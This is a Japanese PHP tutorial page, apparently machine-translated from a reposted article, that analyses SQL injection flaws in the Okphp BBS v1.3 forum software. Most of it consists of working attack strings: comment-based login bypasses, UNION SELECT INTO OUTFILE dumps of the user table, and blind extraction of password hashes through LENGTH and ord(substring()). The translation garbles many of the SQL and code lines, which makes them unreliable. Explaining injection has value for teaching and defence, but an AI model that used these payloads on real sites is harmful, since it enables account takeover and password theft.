ホームページ >バックエンド開発 >PHPチュートリアル >攻撃方法:php+mysqlインジェクション文構築の話_PHPチュートリアル
1. 前書き:
バージョン情報: Okphp BBS v1.3 オープンソースバージョン
PHP と MYSQL 自体のせいで、PHP+MYSQL のインジェクションは、特にインジェクション中のステートメントの構築が主に、Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して説明します。 +mysqlインジェクション文の構築方法について、この記事がお役に立てば幸いです。
免責事項: 記事内で言及されているすべての「脆弱性」はテストされておらず、実際には、抜け穴があるかどうかは重要ではありません。
2. 「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "username=$username、password=$passwordである$user_tableからid,group_idを選択";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "username=$username、password=$passwordである$user_tableからid、group_idを選択します"
$username と $password はフィルタリングされないため、簡単に回避できます。 (bkJia中国語ウェブサイト)
select * from $user_table where username=$username、password=$password などの文を変更する方法としては、以下の方法があります。
構築 1 (論理演算を使用): $username= OR a=a $password= OR a=a
SQL文と同等:
select * from $user_table where username= OR a=a andpassword= OR a=a
構築 2 (mysql でコメント ステートメント ## を使用し、/* を使用して $password をコメント アウトします): $username=admin# (または admin/*)
つまり、
select * from $user_table where username=admin#、password=$password"
以下と同等:
select * from $user_table where username=admin
admin/login.phpの$qステートメントの$passwordはクエリ前にmd5暗号化されるため、構築1のステートメントではバイパスできません。ここでは構築 2 を使用します:
$user_table から id、group_id を選択します。ここで username=admin#、password=$password" です
以下と同等:
username=admin の $user_table から id,group_id を選択します
admin という名前のユーザーが存在する限り確立されます。ユーザー名が分からない場合は、対応する ID のみが分かります。
次のように構築できます: $username= OR id=1#以下と同等:
username= OR id=1#、password=$password の $user_table から id,group_id を選択します (# 以降はコメントアウトされています)
以下のコードを見てみましょう:
if ($row[0]) {
// 管理者またはスーパーモデレーターでない場合
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
$login = 0;
}
その他 {
$login = 1;
}
}
// ログインに失敗しました----------------
if (!$login) {
write_log("モデレーターログイン","0","パスワードが違います");
エコー「」;
exit();
}
// アクセス -------------
その他 {
session_start();
最終的には、$login によって単純に判断されます。IE 送信を通じて $login=1 を直接送信することで、これを回避できます。
2.Users/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
$md5password = md5($password);
$q = "username=$username、password=$md5passwordである$user_tableからid、group_id、emailを選択";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username はフィルタリングされません。1 と同じコメントを使用し、password=$md5password";
3.adminloglist.phpにはログレコードが任意に削除される脆弱性が存在します。 (追記: これは php+mysql インジェクションとは関係ないようです。何気なく言及してください) (bkJia 中国語 Web サイト)
okphpのバックエンドは非常にいい加減に書かれているようで、すべてのファイルは管理者がログインしているかどうかチェックされず、任意にアクセスできるようになっています。 list.php のコードを見てみましょう:
$arr = array("del_log","log_id","del_id");
get_r($arr);
//
if ($del_log) {
省略…
if ($log_id) {
foreach ($log_id as $val) {
$q = "id=$valの$log_tableから削除";
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = "id=$del_idの$log_tableから削除";
$res = sql_query($q,$conn);
}
$tpl->setVariable("message","$i ログは削除されました OK!");
$tpl->setVariable("action","index.php?action=list_log");
}
コードは単に get_r($arr); を使用して、対応する $del_log、$log_id、$del_id を送信するだけで済みます。削除は成功します。
4. 複数のファイルは変数をフィルタリングしないため、SQL インジェクションの脆弱性が発生します。
okphp の作者はフィルタリングが好きではないようです:)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.php のコードを見てください:
$q = "id=$forum_id の $type_table から name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num を選択";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
mysql はサブクエリをサポートしていないため、変数 $forum_id はフィルタリングされません。ユニオン構築ステートメントを使用して結合クエリを実行し (MySQL バージョン 4.00 以降が必要)、データベース間の操作を実現できます。
構築 1: SELECT * FROM table INTO OUTFILE /path/file.txt を使用します (mysql にはファイル権限が必要です。Win システムでは絶対パスが必要であることに注意してください。c://path//file など) 。TXT)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記で $forum_id を次のように構築できます:$forum_id= Union select * from user_table into outfile /path/file.txt
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=$forum_id Union select * from user_table into outfile /path/file.txt"; (bkJia.com)
上記の方法はより要求が厳しく、Web のパスを取得する必要があります (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)、PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されなくなります。 。 magic_gpc=on の場合、次をバイパスすることもできます:
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるものになるようにします。このメソッドは一重引用符 (magic_gpc=on) をバイパスして注入を続行できます。ただし、この種のインジェクションは php では不可能です。特定のコードによっては、比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、「異なる戻り結果」インジェクションを okphp と組み合わせて使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメント構築を通じて指定されたユーザー パスワード ハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。ここでは主に別個に取り出します)ステートメントの構築方法を説明します。
問題コードは脆弱性1と同じです。
ステートメントの構造 (追記: ステートメント自体はユーザー ライブラリに対する操作であるため、union を使用する必要はありません):
$username=admin AND LENGTH(password)=6#
SQL ステートメントは次のようになります:
$q = "username=admin AND LENGTH(password)=6#、password=$passwordである$user_tableからid,group_idを選択します"
以下と同等:
$q = "username=admin AND LENGTH(password)=6 の $user_table から id,group_id を選択"
LENGTH(password)=6がtrueの場合は正常に戻りますが、そうでない場合はmysqlがエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。例: $username=admin ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁のASCIIコード値を推測できます......
http://www.bkjia.com/PHPjc/486471.html